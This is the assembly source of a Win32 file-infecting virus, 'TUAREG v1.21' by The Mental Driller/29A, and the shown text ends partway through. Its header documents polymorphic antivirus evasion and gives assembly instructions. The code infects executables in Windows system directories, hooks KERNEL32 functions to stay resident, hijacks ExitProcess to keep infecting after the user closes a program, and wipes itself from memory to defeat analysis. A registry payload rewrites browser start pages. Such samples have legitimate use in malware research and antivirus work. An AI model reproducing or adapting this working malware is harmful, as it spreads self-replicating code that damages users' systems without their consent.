;;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;;ßßÛßßß Û ÛßßÛ ÛßÛÜ Ûßßß Ûßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;;Þ Û Û  Û Û  Û Û ÜÛ Û    Û ÄÄÄÄÄÄÄÄÄ Designed to carry the ÄÄÄÄÄ Ý Þ ÜÝ ÞßÝÜÝ
;;Þ Û Û  Û ÛßßÛ ÛßÛÜ Ûßß  Û ßÛ ÄÄÄ TUAREG polymorphing engine ÄÄÄ Þ Ý  Ý  ÜÝ Ý
;;Þ Û ÛÜÜÛ Û  Û Û  Û ÛÜÜÜ ÛÜÜÛ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Û   ÝÜÞÜÜ Ý
;;Þ ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
;;Þ
;;ÞÝ     ßßÛßß      ÛÛ ÞÛ      ÛÜÜ  Ý  ÞÛßÝ    Þ Ý          Û  ÞßßÝ ÞßßÛ ÞßßÝ
;;ÞÝ       ÛÞ       ÛÞ ÝÛ      ÞÝ   Ý  ÞÝ ÞÝ  ßÞ Ý         ÞÝ  Û  Û Û  Þ Û  Û
;;ÞßÝÝ Ý   ÝÞßÛÞÛÝ  Ý Û ÝÞÛÝÛßÛÞ ßßÝÝ  Þ  Þ ÛßÞÞ ÝÞÛÝÞÛß   Û     Þ   ßßÛ ÛßßÛ
;;ÞÜÝÛÜÝ   ÝÞ ÞÞÜÜ  Ý   ÝÞÜÜÞ ÞÞ ÛÛÝÛ  ÞÜÜÝ Ý ÞÞÝÛÞÜÜÞ    ÞÝ   ÜÛÛÜÜ ÜÜÛÞÝ  ÞÝ
;;ÄÄÄÄÄÝÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;;   ßß
;; This virus is designed to carry the Tameless Unpredictable Anarchic Relent-
;; less Encryption Generator (TUAREG), so I decided to name the virus as the
;; engine. Apart from generating extremely polymorphic samples, the virus does
;; other things apart from carrying the engine.
;;
;; This is the version 1.21. The version 1.0 was sent to AVers before the re-
;; lease of this version in 29A#5, so I have had time to improve some things,
;; correct some bugs and make new features, like more complex garbage on de-
;; cryptors, the routine for zeroing the memory before terminate the program,
;; etc. The version 1.1 was sent too, but too late I realized of a "bug" in
;; the infection procedure (but NOT in the TUAREG) that made some programs to
;; refuse execution, so I corrected some lines of code, added some others, im-
;; proved the TUAREG engine greatly (now it's v1.01) and I call from all that
;; I got "TUAREG v1.21".
;;
;; In this version:
;;               Virus total binary size: 20994 bytes
;;   Infection virtual and physical size: 65536 bytes
;;                 Binary size of TUAREG: 12951 bytes (only main engine)
;; Average size of a generated decryptor: 9.26 Kb
;;
;; Technical notes:
;;------------------
;;  - It infects all *.EXEs, *.SRCs and *.CPLs on current, windows and
;;   windows\system directories, and the programs set for execution at
;;   windows startup.
;;
;;  - It's also a per-process resident, patching the next functions:
;;   GetProcAddress, CreateFileA, CreateProcessA, FindFirstFileA,
;;   FindNextFileA, GetFileAttributesA, SetFileAttributesA, GetFullPathNameA,
;;   MoveFileA, CopyFileA, DeleteFileA, WinExec, _lopen, MoveFileExA and
;;   OpenFile. ExitProcess is also patched, but for special actions.
;;
;;  - The RVAs of the functions are obtained scanning the export directory
;;   of KERNEL32, doing a checksum of the name of every function and compa-
;;   ring it with the stored checksums on the virus. When someone coincides,
;;   then the corresponding RVA is set on the virus' calling address.
;;
;;  - On infection, it'll place the generated decryptors on .text section,
;;   and the .reloc section will be anulated, renamed and overwritten with
;;   the encrypted data and the overwritten code of .text. If it's not big
;;   enough, its size will be increased until all the stuff fit in it. If
;;   there isn't any .reloc section, then a new section with a random name
;;   will be added (if there is enough space in the EXE header).
;;
;;  - Then, the infection mark will be: if there's a .reloc section, the
;;   file isn't infected, and neither if the .rsrc section is the last. If
;;   .rsrc section isn't the last section of all, the file won't be infected,
;;   since it could be already. I know it isn't the best system, but I was
;;   tired of coding :). In the future I'll do a less noticeable infection.
;;
;;  - The virus is polymorphic, using the TUAREG. Moreover, a little also
;;   polymorphic decryptor (to avoid cryptanalisis) has been put. It's not as
;;   polymorphic as TUAREG generated ones (well, compared to the TUAREG gene-
;;   rated decryptors, the little one shouldn't be called "a decryptor" :),
;;   but well...
;;
;;  Notes about the TUAREG
;;--------------------------
;;  TUAREG has been a neverending project practically since I entered in the
;; viruscene. My initial releases didn't resemble in any way with the result
;; (this one), but in spite of this fact, I'm thousands of times more proud
;; of this result than ever, since I didn't expected such a complexity after
;; a so easy coding of it (well, not sooooo easy, but it was not like coding
;; the MeDriPolEn, where there were things that I didn't know what they do,
;; although they functioned well :), but I knew every moment what was expected
;; for every portion of code).
;; After correcting some little bugs (and not so little, but dark ones), I
;; got very surprised with the result. Oh, errmh... if I explain first what
;; the engine does, maybe the explanations will be easier :). So let's see:
;;
;; - The TUAREG is based in two main techniques that I explain in the article
;;  called "Advanced decryptor construction", which are PRIDE and Branching.
;;  PRIDE (Pseudo-Random Index DEcryption) avoids linear decryption, seeming
;;  a normal access of an application over its data, and Branching avoids the
;;  linear execution of a decryption loop, since it can execute sixteen types
;;  of different code that performs exactly the same action, so there isn't
;;  any manner of knowing the behaviour of the engine (which path is going
;;  to take everytime) without emulation.
;;
;; - To perform the Branching, the entire engine has been oriented to execute
;;  in nearly absolute recursivity, simplifying alot many actions, and taking
;;  advance of this to create very structured portions of code that could be
;;  on any program. Not in vane, the size of the decryptors overpasses 8 Kb of
;;  pure code in the majority of times.
;;
;;  - The phylosophy of this engine is completely different from the
;;  MeDriPolEn. Since I based that one on simulate a corrupted file, this time
;;  I simulate a normal application. Every branch has this "format":
;;
;;   ------*-------*-------*--------xxxxxxxxxxxxx--<>------() -----|----|---|
;;  Legend:
;;  -- : Garbage
;;   * : Random conditional jump to another branch
;;   x : Decryption code (mixed with garbage)
;;  <> : Check of end-of-decryption. If it isn't, it performs a random jump
;;      to any * on any branch
;;  () : Code to jump to the decrypted part, and the code of this branch ends.
;;  ----| : Subroutines that are created while coding this branch. The addres-
;;         ses of that subroutines are stored into an array which allows to
;;         other branches to do calls to that subroutines apart from their own
;;         ones.
;;  This type of code is repeated several times and it's randomized alot.
;;
;;  - The garbage is quite complex to give up the less advanced emulators. The
;;   generator can do CALLs with stack entries and stack frames (emulation of
;;   this), nested CALLs, conditional jumps with non-zero displacement, memory
;;   read/writes (performed to .bss when this section exists in the infected
;;   file), 8 and 32 bit common types (some 16 bit ones are avoided on purpo-
;;   se, due to some emulators that take them as suspicious on a Win32 app.),
;;   random short loops between code, relative jump to the decrypted code (re-
;;   quires execution/emulation for a correct running of it), calls to impor-
;;   ted KERNEL32 functions (it was hard to make it!), etc. etc. etc., and I
;;   don't use any one-byte usual garbage on poly engines (those CLCs, CMCs,
;;   STIs, etc. are highly suspicious for an emulator, so I didn't put anyone
;;   of them, except on the little second decryptor, which is under the main
;;   encryption layer).
;;
;;  - Before entering to the TUAREG engine, the virus scans the victim's body
;;   to determine the future virtual address of the import table and the vir-
;;   tual addresses of the import table fields, and it fills the fields in the
;;   APIInfo blocks to know which address it has to use to make a calling to
;;   that KERNEL32 function. Once made, the virus will call any of the "con-
;;   trolled" APIs that were also in the import table. I think it's the first
;;   virus (November 2000) that makes API callings in the decryptor :). The
;;   called APIs are ordered in frequency of apparition in an application, and
;;   with a little algorithm we make the first ones to be selected more often
;;   than the next ones (in descendent order).
;;
;;  - Some other internal features that "beautifies" the code.
;;
;;  More about the virus itself
;;-------------------------------
;;  - Since it's a v1.21, it was code over the version 1.0 (of course), so if
;;   some code isn't commented is because I was lazy to do it :), and many
;;   things are changed from v1.0 (bugs corrected, some things improved, etc.)
;;
;;  - The KERNEL32 address is found using the address pushed onto the stack
;;   from the beginning. It's easy, it doesn't generate errors (since most
;;   Microsoft C compiled programs use the fact that that address exists),
;;   and it's compatible with all versions of Win32 (I think). Anyway, the
;;   virus uses SEH. If any exception occurs while any operation, the virus
;;   will restore the old SEH and execute the host.
;;
;;  - After finding the RVAs of the API functions, it performs a runtime in-
;;   fection.
;;
;;  - After that, the virus patches the import table of the file and set its
;;   per-process part.
;;
;;  - If the API functions couldn't be obtained, the virus will exit. Other-
;;   wise, if WriteProcessMemory nor GetCurrentProcess RVAs aren't obtained,
;;   it will simulate an error of execution, since it can't restore the host.
;;
;;  - Before returning to the host, it'll try to patch all the ocurrences of
;;   ExitProcess in the host and make them to point to the routine prepared
;;   on this virus to hold it (that's what I call "Pseudo-EPO" :). When the
;;   application calls to ExitProcess, the virus takes control, and since the
;;   program is "under the user's view" terminated, we can perform intensive
;;   virus activity, as a background action. What we do here is to infect all
;;   programs, not only one of each four, with runtime infection, and then we
;;   overwrite all the virus code with zeroes to avoid AVers to have a clean
;;   copy of the virus in memory when executing on a simulated environment and
;;   waiting for the end of running.
;;
;;  - In this version, the virus is very stable, and an average user won't
;;   notice the presence of the virus by errors in the system, since even the
;;   TUAREG (the most complex code I ever make) hasn't any errors now (from
;;   what I know), nor the infection system.
;;
;;  Payload
;;-----------
;;  On the first and third friday of every month, the start pages on the two
;; most used navigators (Internet Explorer and Netscape Communicator) will be
;; set to http://www.thehungersite.com, which it's a web that donates food to
;; hungry countries bought with the money that they earn when you visit the
;; banners. The virus sets this using the ADVAPI32.DLL registry functions.
;;
;;  With this, I could say that maybe it's the first payload in the viruses'
;; history that performs something useful and maybe changes some minds about
;; the state of our world. Hey, and you can do it too! Enter in that URL
;; (http://www.thehungersite.com) and press "Donate food". It's easy, free and
;; can save lives!
;;
;;  About this, I saw some time ago in alt.comp.virus (Usenet) a discussion
;; about this virus. A guy asked if this virus can be called a good virus or
;; what (due to the payload), and it generates a good discussion about the
;; ethicals of virus writing to make this type of things. Well, I did it be-
;; cause I wanted to make a payload that make something more than fuck the
;; user. And it's far from my intention to difamate the URL I redirect naviga-
;; tors to, but it's the most famous and most trustable donation service that
;; I saw over the internet, and moreover this page has links to other free do-
;; nation services. I don't care about that ones that think its start page is
;; "holy" and nobody must touch it (the ones that think that their own home
;; comfort is above anyone's life - get a life!), but I care about the ones
;; that think the action is good but the way is bad (a virus). My apologizes,
;; but you have to think that a virus is a piece of code, not a fragment of
;; The Apocalypse :).
;;
;; My thanks to:
;;---------------
;;
;; The whole 29A - members and ex-members, because it's the Dream Team of
;;  the vx!
;; All ppl who innove and create in this scene, and don't destruct the work
;;  of anyone (I HATE destructive payloads! :)
;; To you, for reading this

;; To assemble this:
;; TASM32 /m29A /ml tuareg.asm
;; TLINK32 -aa -Tpe -x tuareg.obj,,,import32.lib
;; PEWRSEC tuareg.exe

.386p
.model flat
locals
.data
;; Message on first generation
Titulo  db      'Virus TUAREG v1.21 1st Generation by The Mental Driller/29A',0
Mensaje db      'You have been infected with the first generation',0dh,0ah
        db      'of the virus TUAREG by The Mental Driller/29A',0
.code
extrn   ExitProcess:PROC  ; For the fake host
extrn   MessageBoxA:PROC

Virus_Size      equ     offset End_Virus - offset Inic_Virus
Virus_SizePOW2  equ     10000h    ; I don't think it overpasses 65536 bytes.
                                 ; Since this size is virtual, I don't care
                                 ; very much about this one.
Host_Data_Size  equ     4000h ; This one is the one to worry about! :)
                              ; It's physical!

TuaregMain      proc
Inic_Virus      label   dword

;; This decryptor will be  generated later. It's a full polymorphic one, al-
;; though very simple, to avoid cryptanalisys. The structure is as follows:
;;
;; MOV Reg,InicDecryptVirus
;; MOV Reg2,Virus_Size / 4
;; MOV Reg3,CryptKey
;; Loop:
;; XOR/ADD/SUB [Reg],Reg3
;; ADD Reg,4
;; ADD/SUB/XOR/ROL1 Reg3,Modifier
;; DEC Reg2
;; JNZ Loop
;;
;; The MOVs can be MOVs, LEAs or pairs PUSH/POP, and it can use DEC or SUB,1
;; or ADD,-1 , randomly selected. Well, quite better than v1.0 (which was a
;; fixed decryptor where I changed values).
                db      3Ch dup (90h)
InicDecryptVirus:
                cld           ; Restore possible STD
                push    eax
                call    GetDeltaOffset
GetDeltaOffset: pop     ebp
                sub     ebp, offset GetDeltaOffset
                mov     [ebp+DeltaOffset2], ebp  ; This is needed!
                mov     [ebp+DeltaOffset3], ebp
                mov     [ebp+DeltaOffset4], ebp
                mov     [ebp+DeltaOffset5], ebp
                db      0Fh, 31h ; rdtsc         ; Get CPU timestamp
                mov     [ebp+DwordAleatorio1], eax ; Set EAX (low timestamp)
                                                   ; on random seed
         ;; Put the return address
                mov     eax, [ebp+InicIP]
                mov     [esp], eax
                mov     eax, [ebp+RestoreAddress]
                mov     [ebp+RestoreAddress2], eax
                mov     eax, [ebp+SizeOfText]
                mov     [ebp+SizeOfText2], eax
                mov     eax, [ebp+ImageBase]
                mov     [ebp+ImageBase2], eax

         ;; Set this counter to 0. Later we check if this counter has
         ;; increased to the correct number of functions.
                mov     byte ptr [ebp+CounterOfFunctions], 0
         ;; Get the stack returning value for "CreateProcess". This value
         ;; allows Win32 apps to finish with RET (many Micro$oft programs
         ;; use this fact)
                mov     eax, [esp+4]
                and     eax, 0FFFFF000h
                mov     dword ptr [ebp+Addr_Kernel32], eax ; Store it for adj.
                mov     dword ptr [ebp+AuxCounter], 100h  ; Times to search

           ;; SEH frame
                lea     eax, [ebp+@@JumpToHost]
                push    eax
                push    dword ptr fs:[0]
                mov     fs:[0], esp
                mov     [ebp+LastStack], esp     ; For SEH returning
             
@@Loop_001:     sub     dword ptr [ebp+Addr_Kernel32], 1000h ; Subtract
                mov     eax, [ebp+Addr_Kernel32]
                cmp     word ptr [eax], 'ZM'       ; EXE header?
                jz    @@MaybeKernelFound           ; If so, jump
                dec     dword ptr [ebp+AuxCounter] ; Decrease counter
                jnz   @@Loop_001                   ; If it isn't 0, loop
                push    ds
                pop     ax
                cmp     ax, 0137h   ; If actual selector is less, we're in NT
                jb    @@GenerateException  ; No hard-coded address for WinNT
                mov     eax, 0BFF70000h ; Hard-coded under Win9x
                jmp   @@KernelFound2    ; Jump

;; This code, in fact, will jump to the host execution, since it's set as our
;; SEH manager. So, a jump here will execute host. Quite anti-debugger :)
@@GenerateException:
                xor     ebx, ebx
                dec     ebx
                mov     [ebx], cl

@@MaybeKernelFound:
                mov     ebx, [eax+3Ch]  ; Get PE address
                add     ebx, eax
                cmp     word ptr [ebx], 'EP' ; Is it a PE header?
                jnz   @@Loop_001        ; If not, continue searching

         ;; Now we are here when we found the address of Kernel32
@@KernelFound2: mov     dword ptr [ebp+RVA_GetCurrentProcess], 0 ; We must set
                mov     dword ptr [ebp+RVA_WriteProcessMemory], 0  ; this to 0
                mov     dword ptr [ebp+ExitProcessInImport], 0
                mov     esi, [ebx+78h]
                add     esi, eax       ; ESI=Export directory

                mov     ecx, [esi+18h] ; ECX=Number of names in the array
                mov     edx, [esi+20h]
                add     edx, eax       ; EDX=RVA to the names array
     @@LoopCRC_APIs:
                call    GetCRCOfAPI    ; Get checksum of the name under EDX
                xor     ebx, ebx       ; EBX=0
       @@LoopCheck:
                cmp     dword ptr [ebp+ebx+CRC_APIs], eax ; Coincidence?
                jz    @@FunctionFound     ; If it coincides, we have found one
                add     ebx, 4         ; Next
                cmp     dword ptr [ebp+ebx+CRC_APIs], 0 ; Have we finished?
                jnz   @@LoopCheck      ; If not, compare next stored checksum
       @@LoopCRC_APIs2:           ; Here if no one coincides
                add     edx, 4         ; Next RVA to function name
                dec     ecx          ;Arrgh! We are coding virus, so I had to
                jnz   @@LoopCRC_APIs ;use LOOP! :) (this is speed optimization
                                     ; but not size opt.!) bah, it doesn't
                                     ; matter...
                jmp   @@Continue_001
  @@FunctionFound:
                mov     eax, [esi+18h] ; Get its order in the array of names
                sub     eax, ecx
                shl     eax, 1         ; Convert it to word index
                add     eax, [esi+24h] ; Get the position into the ordinal
                                       ; array
                add     eax, [ebp+Addr_Kernel32] ; Add the base address
                movzx   eax, word ptr [eax]  ; Get the order into the function
                shl     eax, 2               ; array
                add     eax, [esi+1Ch]
                add     eax, [ebp+Addr_Kernel32]
                mov     eax, [eax]           ; Get the RVA of the function
                add     eax, [ebp+Addr_Kernel32]
                mov     dword ptr [ebp+ebx+FunctionsToPatch], eax ; Save it
                inc     byte ptr [ebp+CounterOfFunctions] ; Increase this
                jmp   @@LoopCRC_APIs2        ; Check more
  @@Continue_001:
       ;; [CounterOfFunctions] must be NumberOfFunctions. If not, something
       ;; failed (too much or too few functions for the correct work of the
       ;; virus) and we must exit.
                cmp     byte ptr [ebp+CounterOfFunctions], NumberOfFunctions
                jnz   @@GenerateException

                mov     byte ptr [ebp+InfectAllFiles], 0
                call    RuntimeInfection ; The name explains it ;)
                call    Payload     ; I don't remember for what is this... :P
                call    PatchImportDirectory
    ;; I changed the order of calling to this subfunctions, since an exception
    ;; executes directly the host. If an exception occurs when patching the
    ;; import directory, then the run-time infection woudln't run, so I have
    ;; put the functions in the correct order to grant a wider expansion.

                jmp   @@GenerateException  ; Finish runtime activity (the per-
                                    ; process part remains "resident")
      ; This jump is anulated since there isn't any need of it. Instead of
      ; that, we use a fault, since SEH is active and will go directly to
      ; @@JumpToHost :)

   ;; SEH handler. This is the SEH that we put. If any exception happens, this
   ;; will take control and it'll restore and execute directly the host.
@@JumpToHost:   db      0BDh
DeltaOffset3    dd      0                   ; This is MOV EBP,DeltaOffset
                mov     esp, [ebp+LastStack]  ; Recover ESP
                pop     dword ptr fs:[0]      ; Restore SEH
                pop     eax                   ; Release our handle from stack
           ; This has been changed since the binary release. I noticed it had
           ; a bug, so I corrected it. The binary that the AVers have differs
           ; a little from this.

                cmp     dword ptr [ebp+RVA_GetCurrentProcess], 0 ; RVAs got?
                jz    @@SimulateExecError          ; If not, we can't restore
                cmp     dword ptr [ebp+RVA_WriteProcessMemory], 0  ; the host
                jz    @@SimulateExecError
                call    dword ptr [ebp+RVA_GetCurrentProcess]
                push    0
                push    Host_Data_Size
                lea     ebx, [ebp+End_Virus]
                push    ebx
                push    dword ptr [ebp+RestoreAddress2]
                                  ; Restore the overwritten part of .text with
                push    eax       ; the original code, saved at the end of the
                call    dword ptr [ebp+RVA_WriteProcessMemory]         ; virus
                call    ModifyExitProcess ; Modify the exit process callings
                                          ; in .text to point to our zeroing
                                          ; routine
                ret     ; Jump to host

@@SimulateExecError:
                push    00BFF700h  ; Construct NOP/MOV BYTE PTR [BFF70000],0
                push    0005C690h  ; in the stack frame to generate an excep-
                jmp     esp        ; tion from an "unknown module" :)
                                   ; module" :)
TuaregMain      endp

InicIP          dd      offset FakedHost  ; This variables are set now to si-
RestoreAddress  dd      offset FakedHost  ; mulate an infected program.
RestoreAddress2 dd      0
CounterOfFunctions db   0

AuxCounter      dd      0
LastStack       dd      0

InfectAllFiles  db      0

;; This function generates a checksum of the function name pointed by [EDX]
;; in the export directory in KERNEL32. I've tried to do a quite variable
;; formula from one name to other, without using huge tables like the standard
;; CRC32.
GetCRCOfAPI     proc
                xor     eax, eax
                push    edx
                push    ecx
                mov     edx, [edx]
                add     edx, [ebp+Addr_Kernel32]
GetCRCOfAPI2:   mov     edi, edx   ; Load RVA to API name in EDI
     @@LoopAPI: cmp     byte ptr [edx], 0 ;If we reached the end of the name,
                jz    @@Return            ; exit
                mov     cl, [edx]  ; Get a number between 0 and 3 related to
                and     cl, 3      ; the current character in the name.
                rol     eax, cl    ; ROL the current value in EAX.
                xor     al, [edx]  ; XOR AL with the character in [EDX]
                inc     edx        ; Next char
                jmp   @@LoopAPI    ; Loop
   @@Return:    pop     ecx        ; When we arrive here, we have the checksum
                pop     edx        ; of the API name.
                ret             ; Return
GetCRCOfAPI     endp

;; Now the ident message. Never showed, but it'll help the AVers to name this
;; virus ;)
Ident_Virus     db      0,0,'[Virus TUAREG v1.21 by The Mental Driller/29A]',0
                db      '- This virus has been designed for carrying '
                db      'the TUAREG engine -',0,0

;; This functions scans for any ocurrence of ExitProcess in the .text section
;; and substitutes the address in the call for an address here. Once here, we
;; move a little program to the stack frame and then we jump there. That pro-
;; gram will overwrite the virus code with zeroes. This feature can fuck some
;; AVers programs that get a decrypted copy of the virus executing the infec-
;; ted program and waiting for finish.
ModifyExitProcess proc
                cmp     dword ptr [ebp+ExitProcessInImport], 0
                jz    @@Return          ; If ExitProcess doesn't exist in the
                                        ; import directory, finish
                lea     ebx, [ebp+AddressToLastFunc] ;Get the address to over-
                lea     eax, [ebp+LastFunction] ; write ExitProcess callings
                mov     [ebx], eax              ; with, pointing to our routi-
                                                ; ne
                mov     [ebp+AddressToAddressToLastFunc], ebx
                mov     esi, [ebp+RestoreAddress2] ; beginning of .text
                mov     ecx, [ebp+SizeOfText2] ; Quantity of code to scan
                sub     ecx, 6 ; Last 5 bytes can't contain a call, and maybe
                               ; we generate an exception if we overpass .text
                               ; size
  @@Loop_001:   lea     edi, [ebp+CallToSearch] ; Address to constructed call
                mov     edx, 6     ; Size of call
  @@Loop_002:   cmpsb              ; Test byte
                jnz   @@NextByte   ; If it isn't equal, jump
  @@Loop_003:   dec     edx        ; Decrease call-size counter
                jz    @@Found      ; If 0, we've found a call to ExitProcess
                cmp     edx, 5     ; Call-size counter=5?
                jnz   @@Next_001   ; If not, check normally
                dec     ecx        ; Decrease .text-size counter
                jz    @@Return     ; If it's 0, return
                inc     esi        ; Increase checking indexes
                inc     edi        ; ...And now check two possible opcodes:
                cmp     byte ptr [esi-1], 15h ; CALL [Address]
                jz    @@Loop_003              ; If it is, continue checking
                cmp     byte ptr [esi-1], 25h ; JMP [Address]
                jnz   @@NextByte       ; If it isn't, "restart" call string
                jmp   @@Loop_003   ; Check next byte (now normally)
   @@Next_001:  dec     ecx        ; End of .text?
                jnz   @@Loop_002   ; If not, continue checking that call
                jmp   @@Return     ; If yes, end
   @@NextByte:  dec     ecx        ; End of .text?
                jnz   @@Loop_001   ; If not, continue checking for calls
                jmp   @@Return     ; If yes, end
   @@Found:     dec     ecx     ; Decrease ecx (don't decreased before)
                pushad          ; Save regs
                push    0
                push    4       ; Write 4 bytes (overwrite address reference)
                lea     ebx, [ebp+AddressToAddressToLastFunc]
                push    ebx     ; Thing to write (the dword in this variable)
                lea     ebx, [esi-4]
                push    ebx     ; Place to overwrite (the address in the found
                                ; call)
                call    dword ptr [ebp+RVA_GetCurrentProcess]
                push    eax     ; Write on the current process
                call    dword ptr [ebp+RVA_WriteProcessMemory] ; Overwrite!
                popad           ; Restore registers values
                jmp   @@Loop_001 ; Continue looking for calls to ExitProcess
      @@Return: ret        ; Return  
ModifyExitProcess endp

CallToSearch    db      0FFh, 15h  ; Here we construct a call to ExitProcess
ExitProcessInImport dd  0          ; for searching it over .text

SizeOfText      dd      100h   ; This is the value on first generation, but
                               ; it's set with the real value on infection
SizeOfText2     dd      0    ; Variable to save this value and don't overwrite
                             ; it when infecting
AddressToLastFunc dd    0    ; Some vars to overwrite the call to ExitProcess
AddressToAddressToLastFunc dd   0

;; This function is the one that we make ExitProcess to point to. Well, we
;; make that the calls to ExitProcess point here, so they aren't calls to
;; ExitProcess anymore, but here... bah, more or less :). The fact is that if
;; we patched correctly the calls to ExitProcess, this function will be called
;; when you close the application (alt-F4, or Close in its menu, etc. etc.),
;; and here we can make lots of things without being noticed by the user as
;; easily as if we make it at the beginning, because s/he closed the applica-
;; tion and the desktop was restored, seeming a complete exiting, but this
;; virus is still alive! When we arrive here, we infect ALL files, since we
;; haven't to do the things quickly (and you can think: then, why don't you
;; wait for this function to do all and make things more unnoticeable? Because
;; if ExitProcess patching fails, at least the virus has been spreaded a
;; bit ;). Before the massive infection, we complete a little overwriting rou-
;; tine and we copy it to the stack frame. After infection, we jump there, and
;; that routine will overwrite all the virus body with 0s to avoid getting a
;; clean copy of the virus when the application ends (AVers use that technique
;; quite a lot). If I made the virus without per-process residency, I could
;; make it before jumping to the restored host, but well...
LastFunction    proc
                pop     eax
                lea     edi, [esp-1800h] ; Copy the routine to the stack (qui-
                                         ; te far up, to avoid overwriting)
                db      0BDh             ; MOV EBP,xxx
DeltaOffset4    dd      0                ; EBP=DeltaOffset
                mov     [ebp+ExitCode], eax
                mov     esp, [ebp+LastStack] ; Get the saved stack address
                add     esp, 0Ch             ; Eliminate some things of B4
                mov     eax, [ebp+RVA_ExitProcess] ; Get the address to there
                mov     [ebp+ExitProcessAddr], eax ; Complete the instruction
                mov     [ebp+SetValueToEDI], edi   ; Set the jumping value
                lea     esi, [ebp+ZeroingFunction] ; ESI=Address to function
                lea     eax, [ebp+Inic_Virus]     ; EAX=Beginning of the virus
                mov     [ebp+InicAddressFor0], eax ; Complete instruction
                mov     ecx, offset ZeroingFunctionEnd-offset ZeroingFunction
                cld                            ; ECX=Size of zeroing routine
                rep     movsb                  ; Copy routine
                mov     byte ptr [ebp+InfectAllFiles], 1 ; Now infect all fi-
                                    ; les on current, windows and system
                                    ; directories, instead of one of each four

           ;; SEH frame
                lea     eax, [ebp+@@JumpToFinish]
                push    eax
                push    dword ptr fs:[0]
                mov     fs:[0], esp
                mov     [ebp+LastStack], esp     ; For SEH returning

                call    RuntimeInfection
   @@JumpToFinish:
@@JumpToHost:   db      0BDh
DeltaOffset5    dd      0                   ; This is MOV EBP,DeltaOffset
                mov     esp, [ebp+LastStack]  ; Recover ESP
                pop     dword ptr fs:[0]      ; Restore SEH
                pop     eax                   ; Release our handle from stack
                push    dword ptr [ebp+ExitCode]
                db      0BFh
SetValueToEDI   dd      0     ; Get the address to jump to overwrite this code
                jmp     edi   ; Jump there
LastFunction    endp

ExitCode        dd      0

;; This function, after being completed, is the one that we copy to the stack
;; frame to jump and overwrite the code of this virus. After overwriting it,
;; we call to ExitProcess and finish the activity
ZeroingFunction proc
                mov     edi, 12345678h   ; EDI=Beginning address of virus
                org     $-4
InicAddressFor0 dd      0
                xor     eax, eax         ; EAX=6726D43Ah :P
                mov     ecx, Virus_SizePOW2 / 4 ; ECX=Virtual size in dwords
                rep     stosd            ; Overwrite!
                mov     eax, 12345678h   ; Before, we put here the address to
                org     $-4              ; ExitProcess
ExitProcessAddr dd      0
               ; push    0                ; Push ExitProcess return value
                                         ; It's set from before!
                call    eax              ; Return
ZeroingFunction endp
ZeroingFunctionEnd label dword
; NOTE: When I was commenting this code (now, for me :), I realized that an
; infected application always will return 0 as errorlevel when ExitProcess,
; because I push a 0 before calling ExitProcess. The correct way of doing this
; would be get the value from stack and push it now, since it comes from a
; call to ExitProcess that we patched. I realized of this "bug" after sending
; the final version to AVers, so I didn't correct it on this source. Now it's
; corrected.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; PAYLOAD                                                                  ;;
;;                                                                          ;;
;; On the first and third Friday of the month, the start pages of Netscape  ;;
;; and Internet Explorer are changed to "http://www.thehungersite.com".     ;;
;; The first really useful payload in the viruscene history! (Well, I dunno ;;
;; if it is the first, but I like to think it :)                            ;;
;;                                                                          ;;
;; It's not as easy as it could seem!                                       ;;
;; Internet Explorer --> We modify the registry entry where the start page  ;;
;;                       is especified                                      ;;
;; Netscape --> We get the directories of all the users via the registry    ;;
;;              and add a line to the file PREFS.JS setting a new start     ;;
;;              page                                                        ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

KEY_ALL_ACCESS          equ     000F003Fh  ; Values for the registry functions
HKEY_CLASSES_ROOT       equ     80000000h
HKEY_CURRENT_USER       equ     80000001h
HKEY_LOCAL_MACHINE      equ     80000002h
HKEY_USERS              equ     80000003h

Payload         proc
                lea     eax, [ebp+SystemTime]
                push    eax
                call    dword ptr [ebp+RVA_GetSystemTime] ; Get date and time
                cmp     word ptr [ebp+DayOfWeek], 5  ; Friday?
                jnz   @@EndOfPayload                 ; If not, end
                cmp     word ptr [ebp+Day], 7   ; First week of the month?
                jbe   @@DoPayload               ; If not, end
                cmp     word ptr [ebp+Day], 14  ; Second week discarded
                jbe   @@EndOfPayload
                cmp     word ptr [ebp+Day], 21  ; Third week of the month?
                ja    @@EndOfPayload            ; If not, end
         @@DoPayload:
    ; We load ADVAPI32.DLL. It's normally loaded, but in this way we'll get
    ; the module handle, and just in case if it's not loaded.

                call    LoadRegistryFunctions
                or      eax, eax
                jz    @@EndOfPayload

                call    ModifyInternetExplorer  ; Self-explanatory names ;)
                call    ModifyNetscapeNavigator
                push    dword ptr [ebp+HandleADVAPI32]
                call    dword ptr [ebp+RVA_FreeLibrary]
    @@EndOfPayload:
                ret
Payload         endp

;;; Registry functions
RegistryDLL             db      'advapi32.dll',0
ASC_RegistryFunctions   label   dword
ASC_RegOpenKeyExA       db      'RegOpenKeyExA',0
ASC_RegCloseKey         db      'RegCloseKey',0
ASC_RegSetValueExA      db      'RegSetValueExA',0
ASC_RegEnumKeyA         db      'RegEnumKeyA',0
ASC_RegQueryValueExA    db      'RegQueryValueExA',0
ASC_RegEnumValueA       db      'RegEnumValueA',0
                        db      0

HandleADVAPI32          dd      0
org HandleADVAPI32
HandleOpenedKey         dd      0
RVA_RegistryFunctions   label   dword
